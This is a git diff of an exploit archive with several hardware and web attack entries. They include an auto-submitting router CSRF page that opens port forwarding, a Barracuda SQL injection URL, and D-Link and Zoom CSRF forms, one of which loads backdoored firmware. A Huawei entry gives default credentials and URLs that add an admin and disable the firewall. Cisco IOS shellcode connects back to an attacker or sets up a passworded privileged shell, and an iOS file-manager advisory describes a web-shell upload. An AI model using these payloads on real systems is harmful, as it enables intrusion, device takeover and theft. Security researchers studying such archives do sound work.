+		<input name="resetbutton_enable" value="1" type="hidden">
+		<input name="zebra_enable" value="1" type="hidden">
+		<input name="ip_conntrack_max" value="512" type="hidden">
+		<input name="ip_conntrack_tcp_timeouts" value="3600" type="hidden">
+		<input name="ip_conntrack_udp_timeouts" value="120" type="hidden">
+		<input name="overclocking" value="200" type="hidden">
+		<input name="router_style" value="yellow" type="hidden">
+		<input name="Remote Admin" type="submit">
+	</form><br><br>
+	Change Port Forwarding to byass NAT protection.
+	<form method="post" action="http://192.168.1.1/apply.cgi">	
+		<input name="submit_button" value="Change Port Forwarding" type="submit">
+		<input name="action" value="ApplyTake" type="hidden">
+		<input name="change_action" value="" type="hidden">
+		<input name="submit_type" value="" type="hidden">
+		<input name="forward_spec" value="13" type="hidden">
+		<input name="name0" value="Hacked" type="hidden">
+		<input name="from0" value="4450" type="hidden">
+		<input name="pro0" value="both" type="hidden">
+		<input name="ip0" value="192.168.1.100" type="hidden">
+		<input name="to0" value="445" type="hidden">
+		<input name="enable0" value="on" type="hidden">
+		<input name="name1" value="Hacked Again" type="hidden">
+		<input name="from1" value="22" type="hidden">
+		<input name="pro1" value="tcp" type="hidden">
+		<input name="ip1" value="192.168.1.101" type="hidden">
+		<input name="to1" value="22" type="hidden">
+		<input name="enable1" value="on" type="hidden">
+	</form>
+</html>
+<script>
+	document.getElementById(1).submit();//remote root command execution!
+</script>
+
+# milw0rm.com [2008-12-08]
diff --git a/platforms/hardware/remote/7496.txt b/platforms/hardware/remote/7496.txt
index 0f8586c87..6241fc955 100755
--- a/platforms/hardware/remote/7496.txt
+++ b/platforms/hardware/remote/7496.txt
@@ -1,68 +1,68 @@
-CVE Number: CVE-2008-1094
-Vulnerability: SQL Injection 
-Risk: Medium
-Attack vector: From Remote
-
-Vulnerability Discovered: 16th June 2008
-Vendor Notified: 16th June 2008
-Advisory Released: 15th	December 2008
-
-
-Abstract
-
-Barracuda Networks Spam Firewall is vulnerable to various SQL Injection attacks. 
-When exploited by an authenticated user, the identified vulnerability can lead to 
-Denial of Service, Database Information Disclosure, etc.
-
-
-Description
-
-The index.cgi resource was identified as being susceptible to SQL Injection attacks. 
-When filtering user accounts in Users->Account View section, the pattern_x parameter 
-(where x = 0..n) allows inserting arbitrary SQL code once filter_x parameter is set 
-to search_count_equals‘ value.
-
-/cgi-bin/index.cgi?&user=&password=&et=&auth_type=Local&locale=en_US&realm=&primary_tab=USERS&secondary_tab=per_user_account_view&boolean_0=boolean_and&filter_0=search_count_equals&pattern_0=if(database() like concat(char(99),char(37)),5,0)
-
-An attacker can exploit this vulnerability by injecting arbitrary SQL code to be 
-executed as part of the SQL query.
-
-
-Original Advisory:
-
-http://dcsl.ul.ie/advisories/02.htm
-
-
-Barracuda Networks Technical Alert
-
-http://www.barracudanetworks.com/ns/support/tech_alert.php
-
-
-Affected Versions
-
-Barracuda Spam Firewall (Firmware v3.5.11.020, Model 600)
-
-Other products/versions might be affected.
-
-
-Mitigation
-
-Vendor recommends to the following firmware version
-
-Barracuda Spam Firewall (Firmware v3.5.12.001)
-
-Alternatively, please contact Barracuda Networks for technical support.
-
-
-Credits
-
-Dr. Marian Ventuneac, marian.ventuneac@ul.ie
-Data Communication Security Laboratory, Department of Electronic & Computer Engineering, University of Limerick
-
-
-Disclaimer
-
-Data Communication Security Laboratory releases this information with the vendor acceptance. 
-DCSL is not responsible for any malicious application of the information presented in this advisory. 
-
-# milw0rm.com [2008-12-16]
+CVE Number: CVE-2008-1094
+Vulnerability: SQL Injection 
+Risk: Medium
+Attack vector: From Remote
+
+Vulnerability Discovered: 16th June 2008
+Vendor Notified: 16th June 2008
+Advisory Released: 15th	December 2008
+
+
+Abstract
+
+Barracuda Networks Spam Firewall is vulnerable to various SQL Injection attacks. 
+When exploited by an authenticated user, the identified vulnerability can lead to 
+Denial of Service, Database Information Disclosure, etc.
+
+
+Description
+
+The index.cgi resource was identified as being susceptible to SQL Injection attacks. 
+When filtering user accounts in Users->Account View section, the pattern_x parameter 
+(where x = 0..n) allows inserting arbitrary SQL code once filter_x parameter is set 
+to search_count_equals‘ value.
+
+/cgi-bin/index.cgi?&user=&password=&et=&auth_type=Local&locale=en_US&realm=&primary_tab=USERS&secondary_tab=per_user_account_view&boolean_0=boolean_and&filter_0=search_count_equals&pattern_0=if(database() like concat(char(99),char(37)),5,0)
+
+An attacker can exploit this vulnerability by injecting arbitrary SQL code to be 
+executed as part of the SQL query.
+
+
+Original Advisory:
+
+http://dcsl.ul.ie/advisories/02.htm
+
+
+Barracuda Networks Technical Alert
+
+http://www.barracudanetworks.com/ns/support/tech_alert.php
+
+
+Affected Versions
+
+Barracuda Spam Firewall (Firmware v3.5.11.020, Model 600)
+
+Other products/versions might be affected.
+
+
+Mitigation
+
+Vendor recommends to the following firmware version
+
+Barracuda Spam Firewall (Firmware v3.5.12.001)
+
+Alternatively, please contact Barracuda Networks for technical support.
+
+
+Credits
+
+Dr. Marian Ventuneac, marian.ventuneac@ul.ie
+Data Communication Security Laboratory, Department of Electronic & Computer Engineering, University of Limerick
+
+
+Disclaimer
+
+Data Communication Security Laboratory releases this information with the vendor acceptance. 
+DCSL is not responsible for any malicious application of the information presented in this advisory. 
+
+# milw0rm.com [2008-12-16]
diff --git a/platforms/hardware/remote/7920.txt b/platforms/hardware/remote/7920.txt
index dc51fa98b..7a0bf6bea 100755
--- a/platforms/hardware/remote/7920.txt
+++ b/platforms/hardware/remote/7920.txt
@@ -1,23 +1,23 @@
-D-link VoIP Phone Adapter XSS and XSRF(remote firmware overwrite)
-model number: DVG-2001s
-f/w version 1.00.007
-
-Better than just remote code execution,  you control the firmware.
-
-<html>
-	<form action="http://10.1.1.166/Forms/cbi_Set_SW_Update?16640,0,0,0,0,0,0,0,0"
-method="POST">
-		<input name="page_HiddenVar" value="0">
-		<input name="TFTPServerAddress1" value="10">
-		<input name="TFTPServerAddress2" value="1">
-		<input name="TFTPServerAddress3" value="1">
-		<input name="TFTPServerAddress4" value="1">
-		<input name="FirmwareUpdate" value="enabled">
-		<input name="FileName" value="backdoored_firmware.img">
-		<input type=submit value="attack">
-	</form>
-</html>
-and xss which can be used for csrf bypass:
-http://10.1.1.166/Forms/page_CfgDevInfo_Set?%3Cscript%3Ealert(%22hacked%22)%3C/script%3E
-
-# milw0rm.com [2009-01-29]
+D-link VoIP Phone Adapter XSS and XSRF(remote firmware overwrite)
+model number: DVG-2001s
+f/w version 1.00.007
+
+Better than just remote code execution,  you control the firmware.
+
+<html>
+	<form action="http://10.1.1.166/Forms/cbi_Set_SW_Update?16640,0,0,0,0,0,0,0,0"
+method="POST">
+		<input name="page_HiddenVar" value="0">
+		<input name="TFTPServerAddress1" value="10">
+		<input name="TFTPServerAddress2" value="1">
+		<input name="TFTPServerAddress3" value="1">
+		<input name="TFTPServerAddress4" value="1">
+		<input name="FirmwareUpdate" value="enabled">
+		<input name="FileName" value="backdoored_firmware.img">
+		<input type=submit value="attack">
+	</form>
+</html>
+and xss which can be used for csrf bypass:
+http://10.1.1.166/Forms/page_CfgDevInfo_Set?%3Cscript%3Ealert(%22hacked%22)%3C/script%3E
+
+# milw0rm.com [2009-01-29]
diff --git a/platforms/hardware/remote/7921.txt b/platforms/hardware/remote/7921.txt
index 2835688e4..0d8f40967 100755
--- a/platforms/hardware/remote/7921.txt
+++ b/platforms/hardware/remote/7921.txt
@@ -1,25 +1,25 @@
-Written By Michael Brooks
-Special thanks to str0ke!
-
-Zoom VoIP Phone Adapater ATA1+1  XSRF
-voip provider change xsrf
-version 1.2.5
-<html>
-	<form action="http://10.1.1.165/callwzd.html" method=post>
-		<input name=DIRTY_PAGE value=3>
-		<input name=HELP_PAGE value=html.html>
-		<input name=_voip_provider_1___provider_type value=1>
-		<input name=_voip_provider_1___provider_name value=hacked_again>
-		<input name=_voip_provider_1___display_name value=hacked_again>
-		<input name=_voip_provider_1___user_name value=hacked_again>
-		<input name=_voip_provider_1___auth_user_name value=hacked_again>
-		<input name=_voip_provider_1___auth_user_password value=hacked_again>
-		<input name=ipbx_fxo_local_areacode value=hacked_again>
-		<input name=ipbx_fxo_autodial_local_areacode value=hacked_again>
-		<input name=ipbx_fxo_autodial_digit_leng value=6>
-		<input name=BUTTON_FLASH value="Save+These+Settings">
-		<input type=submit>
-	</form>
-</html>	
-
-# milw0rm.com [2009-01-29]
+Written By Michael Brooks
+Special thanks to str0ke!
+
+Zoom VoIP Phone Adapater ATA1+1  XSRF
+voip provider change xsrf
+version 1.2.5
+<html>
+	<form action="http://10.1.1.165/callwzd.html" method=post>
+		<input name=DIRTY_PAGE value=3>
+		<input name=HELP_PAGE value=html.html>
+		<input name=_voip_provider_1___provider_type value=1>
+		<input name=_voip_provider_1___provider_name value=hacked_again>
+		<input name=_voip_provider_1___display_name value=hacked_again>
+		<input name=_voip_provider_1___user_name value=hacked_again>
+		<input name=_voip_provider_1___auth_user_name value=hacked_again>
+		<input name=_voip_provider_1___auth_user_password value=hacked_again>
+		<input name=ipbx_fxo_local_areacode value=hacked_again>
+		<input name=ipbx_fxo_autodial_local_areacode value=hacked_again>
+		<input name=ipbx_fxo_autodial_digit_leng value=6>
+		<input name=BUTTON_FLASH value="Save+These+Settings">
+		<input type=submit>
+	</form>
+</html>	
+
+# milw0rm.com [2009-01-29]
diff --git a/platforms/hardware/remote/9503.txt b/platforms/hardware/remote/9503.txt
index 1a0ec6fd9..eb089add6 100755
--- a/platforms/hardware/remote/9503.txt
+++ b/platforms/hardware/remote/9503.txt
@@ -1,37 +1,37 @@
-Description:
-Huawei MT880 is a device offered by the algerian telecom operator -
-FAWRI, to provide ADSL Internet connexion and it's already widely in use.
-Overview:
-Huawei MT880 firmware and its default configuration has flaws, which
-allows LAN users to gain unauthorized full access to device.
-
-Here are just limited PoCs.
-
-Default credentials on the web-based management interface:
-
-admin/admin
-
-Possible XSRFs:
-
-Adding an administrator user:
-http://admin:admin@192.168.1.1/Action?user_id=jerome&priv=1&pass1=jerome&pass2=jerome&id=70
-
-
-Disabling firewall/anti-DoS... features:
-http://admin:admin@192.168.1.1/Action?blacklisting_status=1&bl_list=10&attack_status=0&dos_status=0&id=42&max_tcp=25&max_icmp=25&max_host=70
-
-
-Adding a MAC address to the whitelist:
-http://admin:admin@192.168.1.1/Action?insrcmac66=123456789123&inblocksrcmac66=1&insrcmac67=000000000000&inblocksrcmac67=1&insrcmac68=000000000000&inblocksrcmac68=1&insrcmac69=000000000000&inblocksrcmac69=1&insrcmac70=000000000000&inblocksrcmac70=1&insrcmac71=000000000000&inblocksrcmac71=1&insrcmac72=000000000000&inblocksrcmac72=1&insrcmac73=000000000000&inblocksrcmac73=1&insrcmac74=000000000000&inblocksrcmac74=1&insrcmac75=000000000000&inblocksrcmac75=1&insrcmac76=000000000000&inblocksrcmac76=1&insrcmac77=000000000000&inblocksrcmac77=1&insrcmac78=000000000000&inblocksrcmac78=1&insrcmac79=000000000000&inblocksrcmac79=1&insrcmac80=000000000000&inblocksrcmac80=1&insrcmac81=000000000000&inblocksrcmac81=1&id=104
-
-
-Adding an IP address allowed by the firewall:
-http://admin:admin@192.168.1.1/Action?ip_1=192&ip_2=168&ip_3=1&ip_4=2&mask_1=255&mask_2=255&mask_3=255&mask_4=255&gateway_1=192&gateway_2=168&gateway_3=1&gateway_4=1&id=7
-
-
-Over flaws are not covered in this advisory.
-
-Cheers
-/JA
-
-# milw0rm.com [2009-08-24]
+Description:
+Huawei MT880 is a device offered by the algerian telecom operator -
+FAWRI, to provide ADSL Internet connexion and it's already widely in use.
+Overview:
+Huawei MT880 firmware and its default configuration has flaws, which
+allows LAN users to gain unauthorized full access to device.
+
+Here are just limited PoCs.
+
+Default credentials on the web-based management interface:
+
+admin/admin
+
+Possible XSRFs:
+
+Adding an administrator user:
+http://admin:admin@192.168.1.1/Action?user_id=jerome&priv=1&pass1=jerome&pass2=jerome&id=70
+
+
+Disabling firewall/anti-DoS... features:
+http://admin:admin@192.168.1.1/Action?blacklisting_status=1&bl_list=10&attack_status=0&dos_status=0&id=42&max_tcp=25&max_icmp=25&max_host=70
+
+
+Adding a MAC address to the whitelist:
+http://admin:admin@192.168.1.1/Action?insrcmac66=123456789123&inblocksrcmac66=1&insrcmac67=000000000000&inblocksrcmac67=1&insrcmac68=000000000000&inblocksrcmac68=1&insrcmac69=000000000000&inblocksrcmac69=1&insrcmac70=000000000000&inblocksrcmac70=1&insrcmac71=000000000000&inblocksrcmac71=1&insrcmac72=000000000000&inblocksrcmac72=1&insrcmac73=000000000000&inblocksrcmac73=1&insrcmac74=000000000000&inblocksrcmac74=1&insrcmac75=000000000000&inblocksrcmac75=1&insrcmac76=000000000000&inblocksrcmac76=1&insrcmac77=000000000000&inblocksrcmac77=1&insrcmac78=000000000000&inblocksrcmac78=1&insrcmac79=000000000000&inblocksrcmac79=1&insrcmac80=000000000000&inblocksrcmac80=1&insrcmac81=000000000000&inblocksrcmac81=1&id=104
+
+
+Adding an IP address allowed by the firewall:
+http://admin:admin@192.168.1.1/Action?ip_1=192&ip_2=168&ip_3=1&ip_4=2&mask_1=255&mask_2=255&mask_3=255&mask_4=255&gateway_1=192&gateway_2=168&gateway_3=1&gateway_4=1&id=7
+
+
+Over flaws are not covered in this advisory.
+
+Cheers
+/JA
+
+# milw0rm.com [2009-08-24]
diff --git a/platforms/hardware/shellcode/13291.txt b/platforms/hardware/shellcode/13291.txt
index 45a77e49b..4d24de1b3 100755
--- a/platforms/hardware/shellcode/13291.txt
+++ b/platforms/hardware/shellcode/13291.txt
@@ -1,135 +1,135 @@
-# ----------------------------------------------------------------------------------------
-#
-# Cisco IOS Connectback shellcode v1.0
-# (c) 2007 IRM Plc
-# By Gyan Chawdhary
-#
-# ----------------------------------------------------------------------------------------
-#
-# The code creates a new TTY, allocates a shell with privilege level 15 and connects back 
-# on port 21
-#
-# This shellcode can be used as the payload for any IOS exploit on a PowerPC-based device.
-# 
-#
-# The following five hard-coded addresses must be located for the target IOS version. 
-#
-# The hard-coded addresses used here are for:
-#
-# IOS (tm) C2600 Software (C2600-IK9S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
-#
-# ----------------------------------------------------------------------------------------
-.equ malloc, 0x804785CC
-.equ allocate_tty, 0x803d155c
-.equ ret, 0x804a42e8
-.equ addr, 0x803c4ad8 
-.equ str, 0x81e270b4
-.equ tcp_connect, 0x80567568
-.equ tcp_execute_command, 0x8056c354
-.equ login, 0x8359b1f4
-.equ god, 0xff100000
-.equ priv, 0x8359be64
-# ----------------------------------------------------------------------------------------
-
-main:
-	stwu 1,-48(1)
-	mflr 0
-	stw 31,44(1)
-	stw 0,52(1)
-	mr 31,1
-	li 3,512
-	lis 9,malloc@ha  #malloc() memory for tcp structure
-	la 9,malloc@l(9)
-	mtctr 9
-	bctrl
-	mr 0,3
-	stw 0,20(31)
-	lwz 9,12(31)
-	li 0,1
-	stb 0,0(9)
-	lwz 9,12(31)
-	lis 0,0xac1e #  connect back ip address 
-	ori 0,0,1018 #
-	stw 0,4(9)
-	li 3,66
-	li 4,0
-	lis 9,allocate_tty@ha  # allocate new TTY
-	la 9,allocate_tty@l(9)
-	mtctr 9
-	bctrl
-	addi 0,31,24
-
-	# Fix TTY structure to enable level 15 shell without password
-	# 
-	#
-	##########################################################
-
-	# login patch begin
-	lis 9, login@ha
-	la 9, login@l(9)
-	li 8,0
-	stw 8, 0(9)
-	# login patch end
-
-	#IDA placeholder for con0
-	#
-	# lis     %r9, ((stdio+0x10000)@h)
-        # lwz     %r9, stdio@l(%r9)
-        # lwz     %r0, 0xDE4(%r9) #priv struct
-        #
-	# priv patch begin
-	lis 9, priv@ha
-	la 9, priv@l(9)
-	lis 8, god@ha
-	la 8, god@l(8)
-	stw 8, 0(9)
-	# priv patch end 
-	
-	###########################################################
-
-	li 3,0
-	li 4,21		# Port 21 for connectback
-	lwz 5,12(31)
-	li 6,0
-	li 7,0
-	mr 8,0
-	li 9,0
-	lis 11,tcp_connect@ha 	# Connect to attacker IP
-	la 11,tcp_connect@l(11)
-	mtctr 11
-	bctrl
-	mr 0,3
-	stw 0,20(31)
-	li 3,66
-	lwz 4,20(31)
-	li 5,0
-	li 6,0
-	li 7,0
-	li 8,0
-	li 9,0
-	li 10,0
-	lis 11,tcp_execute_command@ha   # Execute Virtual Terminal on outgoing connection, similar to /bin/bash
-	la 11,tcp_execute_command@l(11)
-	mtctr 11
-	bctrl
-	lwz 11,0(1)
-	lwz 0,4(11)
-	mtlr 0
-	lwz 31,-4(11)
-	mr 1,11
-
-	###########################################
-	lis     9, addr@ha		
-        addi    0, 9, addr@l
-        mtctr   0
-        xor 3,3,3
-        addi    3,0, -2
-        lis     10, str@ha
-        addi    4, 10, str@l
-        bctrl
-        lis     10, ret@ha
-        addi    4, 10, ret@l
-        mtctr   4
-        bctrl
-
+# ----------------------------------------------------------------------------------------
+#
+# Cisco IOS Connectback shellcode v1.0
+# (c) 2007 IRM Plc
+# By Gyan Chawdhary
+#
+# ----------------------------------------------------------------------------------------
+#
+# The code creates a new TTY, allocates a shell with privilege level 15 and connects back 
+# on port 21
+#
+# This shellcode can be used as the payload for any IOS exploit on a PowerPC-based device.
+# 
+#
+# The following five hard-coded addresses must be located for the target IOS version. 
+#
+# The hard-coded addresses used here are for:
+#
+# IOS (tm) C2600 Software (C2600-IK9S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
+#
+# ----------------------------------------------------------------------------------------
+.equ malloc, 0x804785CC
+.equ allocate_tty, 0x803d155c
+.equ ret, 0x804a42e8
+.equ addr, 0x803c4ad8 
+.equ str, 0x81e270b4
+.equ tcp_connect, 0x80567568
+.equ tcp_execute_command, 0x8056c354
+.equ login, 0x8359b1f4
+.equ god, 0xff100000
+.equ priv, 0x8359be64
+# ----------------------------------------------------------------------------------------
+
+main:
+	stwu 1,-48(1)
+	mflr 0
+	stw 31,44(1)
+	stw 0,52(1)
+	mr 31,1
+	li 3,512
+	lis 9,malloc@ha  #malloc() memory for tcp structure
+	la 9,malloc@l(9)
+	mtctr 9
+	bctrl
+	mr 0,3
+	stw 0,20(31)
+	lwz 9,12(31)
+	li 0,1
+	stb 0,0(9)
+	lwz 9,12(31)
+	lis 0,0xac1e #  connect back ip address 
+	ori 0,0,1018 #
+	stw 0,4(9)
+	li 3,66
+	li 4,0
+	lis 9,allocate_tty@ha  # allocate new TTY
+	la 9,allocate_tty@l(9)
+	mtctr 9
+	bctrl
+	addi 0,31,24
+
+	# Fix TTY structure to enable level 15 shell without password
+	# 
+	#
+	##########################################################
+
+	# login patch begin
+	lis 9, login@ha
+	la 9, login@l(9)
+	li 8,0
+	stw 8, 0(9)
+	# login patch end
+
+	#IDA placeholder for con0
+	#
+	# lis     %r9, ((stdio+0x10000)@h)
+        # lwz     %r9, stdio@l(%r9)
+        # lwz     %r0, 0xDE4(%r9) #priv struct
+        #
+	# priv patch begin
+	lis 9, priv@ha
+	la 9, priv@l(9)
+	lis 8, god@ha
+	la 8, god@l(8)
+	stw 8, 0(9)
+	# priv patch end 
+	
+	###########################################################
+
+	li 3,0
+	li 4,21		# Port 21 for connectback
+	lwz 5,12(31)
+	li 6,0
+	li 7,0
+	mr 8,0
+	li 9,0
+	lis 11,tcp_connect@ha 	# Connect to attacker IP
+	la 11,tcp_connect@l(11)
+	mtctr 11
+	bctrl
+	mr 0,3
+	stw 0,20(31)
+	li 3,66
+	lwz 4,20(31)
+	li 5,0
+	li 6,0
+	li 7,0
+	li 8,0
+	li 9,0
+	li 10,0
+	lis 11,tcp_execute_command@ha   # Execute Virtual Terminal on outgoing connection, similar to /bin/bash
+	la 11,tcp_execute_command@l(11)
+	mtctr 11
+	bctrl
+	lwz 11,0(1)
+	lwz 0,4(11)
+	mtlr 0
+	lwz 31,-4(11)
+	mr 1,11
+
+	###########################################
+	lis     9, addr@ha		
+        addi    0, 9, addr@l
+        mtctr   0
+        xor 3,3,3
+        addi    3,0, -2
+        lis     10, str@ha
+        addi    4, 10, str@l
+        bctrl
+        lis     10, ret@ha
+        addi    4, 10, ret@l
+        mtctr   4
+        bctrl
+
 # milw0rm.com [2008-08-13]
\ No newline at end of file
diff --git a/platforms/hardware/shellcode/13292.txt b/platforms/hardware/shellcode/13292.txt
index 58a1c0971..bcef84336 100755
--- a/platforms/hardware/shellcode/13292.txt
+++ b/platforms/hardware/shellcode/13292.txt
@@ -1,65 +1,65 @@
-# ----------------------------------------------------------------------------------------
-#
-# Cisco IOS Bind shellcode v1.0
-# (c) 2007 IRM Plc
-# By Varun Uppal
-#
-# ----------------------------------------------------------------------------------------
-#
-# The code creates a new VTY, allocates a password then sets the privilege level to 15
-#
-# This shellcode can be used as the payload for any IOS exploit on a PowerPC-based device.
-# Once assembled, the payload is only 116 bytes in length 
-#
-# The following four hard-coded addresses must be located for the target IOS version. 
-# Version 1.1 of the shellcode will auto-locate these values and make the code 
-# IOS-version-independent
-#
-# The hard-coded addresses used here are for:
-#
-# IOS (tm) C2600 Software (C2600-IK9S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
-#
-# ----------------------------------------------------------------------------------------
-.equ makenewvty, 0x803d0d08
-.equ malloc, 0x804785cc
-.equ setpwonline, 0x803b9e90
-.equ linesstruct, 0x82f9e334
-# ----------------------------------------------------------------------------------------
-
-.equ priv, 0xf1000000		#value used to set the privilege level
-
-main:	li 3,71			#new vty line = 71
-	lis 9,makenewvty@ha
-	la 9,makenewvty@l(9)
-	mtctr 9
-	bctrl			#makenewvty()
-
-	li 3,0x1e5c
-	lis 9,malloc@ha
-	la 9,malloc@l(9)
-	mtctr 9
-	bctrl			#malloc() memory for structure
-
-	li 4,70		
-	stw 4,0xa68(3)
-	li 5,72		
-	stw 5,0xa6c(3)
-	li 4,0x00		
-	bl setp			#pointer to the password into LR
-
-.string "1rmp455"		#the password for the line
-
-setp:	mflr 5
-	lis 9,setpwonline@ha
-      	la 9,setpwonline@l(9)
-      	mtctr 9
-      	bctrl			#setpwonline()
-
-	lis 8,linesstruct@ha
-      	la 8,linesstruct@l(8)
-	lwz 9,0(8)
-	lis 7,priv@ha
-     	la 7,priv@l(7)
-	stw 7,0xde4(9)		#set privilege level to 15
-
+# ----------------------------------------------------------------------------------------
+#
+# Cisco IOS Bind shellcode v1.0
+# (c) 2007 IRM Plc
+# By Varun Uppal
+#
+# ----------------------------------------------------------------------------------------
+#
+# The code creates a new VTY, allocates a password then sets the privilege level to 15
+#
+# This shellcode can be used as the payload for any IOS exploit on a PowerPC-based device.
+# Once assembled, the payload is only 116 bytes in length 
+#
+# The following four hard-coded addresses must be located for the target IOS version. 
+# Version 1.1 of the shellcode will auto-locate these values and make the code 
+# IOS-version-independent
+#
+# The hard-coded addresses used here are for:
+#
+# IOS (tm) C2600 Software (C2600-IK9S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
+#
+# ----------------------------------------------------------------------------------------
+.equ makenewvty, 0x803d0d08
+.equ malloc, 0x804785cc
+.equ setpwonline, 0x803b9e90
+.equ linesstruct, 0x82f9e334
+# ----------------------------------------------------------------------------------------
+
+.equ priv, 0xf1000000		#value used to set the privilege level
+
+main:	li 3,71			#new vty line = 71
+	lis 9,makenewvty@ha
+	la 9,makenewvty@l(9)
+	mtctr 9
+	bctrl			#makenewvty()
+
+	li 3,0x1e5c
+	lis 9,malloc@ha
+	la 9,malloc@l(9)
+	mtctr 9
+	bctrl			#malloc() memory for structure
+
+	li 4,70		
+	stw 4,0xa68(3)
+	li 5,72		
+	stw 5,0xa6c(3)
+	li 4,0x00		
+	bl setp			#pointer to the password into LR
+
+.string "1rmp455"		#the password for the line
+
+setp:	mflr 5
+	lis 9,setpwonline@ha
+      	la 9,setpwonline@l(9)
+      	mtctr 9
+      	bctrl			#setpwonline()
+
+	lis 8,linesstruct@ha
+      	la 8,linesstruct@l(8)
+	lwz 9,0(8)
+	lis 7,priv@ha
+     	la 7,priv@l(7)
+	stw 7,0xde4(9)		#set privilege level to 15
+
 # milw0rm.com [2008-08-13]
\ No newline at end of file
diff --git a/platforms/hardware/shellcode/13293.txt b/platforms/hardware/shellcode/13293.txt
index 56f745947..8aeae851a 100755
--- a/platforms/hardware/shellcode/13293.txt
+++ b/platforms/hardware/shellcode/13293.txt
@@ -1,50 +1,50 @@
-# ----------------------------------------------------------------------------------------
-#
-# Cisco IOS Tiny shellcode v1.0
-# (c) 2007 IRM Plc
-# By Gyan Chawdhary
-#
-# ----------------------------------------------------------------------------------------
-#
-# The code creates a new TTY, and sets the privilege level to 15 without a password
-#
-# This shellcode can be used as the payload for any IOS exploit on a PowerPC-based device.
-# 
-#
-# The following two hard-coded addresses must be located for the target IOS version. 
-#
-# The hard-coded addresses used here are for:
-#
-# IOS (tm) C2600 Software (C2600-IK9S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
-#
-# ----------------------------------------------------------------------------------------
-.equ ret, 0x804a42e8
-.equ login, 0x8359b1f4
-.equ god, 0xff100000
-.equ priv, 0x8359be64
-# ----------------------------------------------------------------------------------------
-
-main:
-
-	# login patch begin
-	lis 9, login@ha
-	la 9, login@l(9)
-	li 8,0
-	stw 8, 0(9)
-	# login patch end
-
-	# priv patch begin
-	lis 9, priv@ha
-	la 9, priv@l(9)
-	lis 8, god@ha
-	la 8, god@l(8)
-	stw 8, 0(9)
-	# priv patch end 
-	
-	# exit code
-      lis     10, ret@ha
-      addi    4, 10, ret@l
-      mtctr   4
-      bctrl
-
+# ----------------------------------------------------------------------------------------
+#
+# Cisco IOS Tiny shellcode v1.0
+# (c) 2007 IRM Plc
+# By Gyan Chawdhary
+#
+# ----------------------------------------------------------------------------------------
+#
+# The code creates a new TTY, and sets the privilege level to 15 without a password
+#
+# This shellcode can be used as the payload for any IOS exploit on a PowerPC-based device.
+# 
+#
+# The following two hard-coded addresses must be located for the target IOS version. 
+#
+# The hard-coded addresses used here are for:
+#
+# IOS (tm) C2600 Software (C2600-IK9S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
+#
+# ----------------------------------------------------------------------------------------
+.equ ret, 0x804a42e8
+.equ login, 0x8359b1f4
+.equ god, 0xff100000
+.equ priv, 0x8359be64
+# ----------------------------------------------------------------------------------------
+
+main:
+
+	# login patch begin
+	lis 9, login@ha
+	la 9, login@l(9)
+	li 8,0
+	stw 8, 0(9)
+	# login patch end
+
+	# priv patch begin
+	lis 9, priv@ha
+	la 9, priv@l(9)
+	lis 8, god@ha
+	la 8, god@l(8)
+	stw 8, 0(9)
+	# priv patch end 
+	
+	# exit code
+      lis     10, ret@ha
+      addi    4, 10, ret@l
+      mtctr   4
+      bctrl
+
 # milw0rm.com [2008-08-13]
\ No newline at end of file
diff --git a/platforms/hardware/webapps/30031.txt b/platforms/hardware/webapps/30031.txt
new file mode 100755
index 000000000..9cb22bae4
--- /dev/null
+++ b/platforms/hardware/webapps/30031.txt
@@ -0,0 +1,271 @@
+Document Title:
+===============
+Imagam iFiles v1.16.0 iOS - Multiple Web Vulnerabilities
+
+
+References (Source):
+====================
+http://www.vulnerability-lab.com/get_content.php?id=1160
+
+
+Release Date:
+=============
+2013-12-03
+
+
+Vulnerability Laboratory ID (VL-ID):
+====================================
+1160
+
+
+Common Vulnerability Scoring System:
+====================================
+8.9
+
+
+Product & Service Introduction:
+===============================
+iFiles is the most intuitive file manager for iOS with features like connectivity to many file cloud services, 
+transferring files between computer or cloud services, ability to view many file formats (PDF viewer now 
+supports annotations, search and more), voice recorder, web downloader, text file editor and more.
+
+Supported Online Cloud Services and Protocols: Dropbox, Google Drive, iCloud, Box.net, SkyDrive, SugarSync, AFP 
+(Mac Shares), FTP/FTPS, SFTP, Flickr, Picasa, Facebook, Rackspace CloudFiles, CloudApp, PogoPlug, WebDav, Amazon 
+S3, Ubuntu One Files, ownCloud, 4Shared, also using Amazon S3: DreamObjects and UltiCloud.
+
+( Copy of the Homepage: https://itunes.apple.com/de/app/ifiles/id336683524 & http://imagam.com )
+
+
+Abstract Advisory Information:
+==============================
+The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official Imagam iFiles v1.16.0 mobile application for apple iOS.
+
+
+Vulnerability Disclosure Timeline:
+==================================
+2013-12-03:    Public Disclosure (Vulnerability Laboratory)
+
+
+Discovery Status:
+=================
+Published
+
+
+Affected Product(s):
+====================
+Imagam
+Product: iFiles - Mobile Application iOS 1.16.0
+
+
+Exploitation Technique:
+=======================
+Remote
+
+
+Severity Level:
+===============
+Critical
+
+
+Technical Details & Description:
+================================
+1.1
+A file include- & arbitrary file upload web vulnerability has been discovered in the official Imagam iFiles v1.16.0 mobile application for apple iOS.
+An arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access.
+A file include web vulnerability allows a remote attacker to unauthorized include local web-server file requests or external file requests. 
+
+The vulnerability is located in the vulnerable file- and folder-name value. Remote attackers can include local file requests combined with script code 
+to successful exploit the issue. To include to the vulnerable foldername value it is required to manipulate the `create folder` (add) input (POST Method).
+The secound possibility to inject is the vulnerable filename value of the misconfigured (POST Method) upload module. After the include the remote attacker 
+can access the included file by requesting the regular index or sub category folder (web interface) site.
+
+The arbitrary file upload vulnerability is located in the vulnerable filename value of the upload module. Attackers are also able to upload a php or js 
+web-shells by renaming the file with multiple extensions. The attacker uploads for example a web-shell with the following name and extension 
+test.jpg.html.js.php.gif.jpg . After the upload the attacker opens the file in the web application to delete the .gif.jpg file extension to access the 
+resource with elevated execution access rights.
+
+Exploitation of the file include & arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
+Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.
+
+Request Method(s):
+				[+] [POST]
+
+Vulnerable Module(s):
+				[+] File Upload
+
+Vulnerable Parameter(s):
+				[+] filename (value) - (multiple extensions)
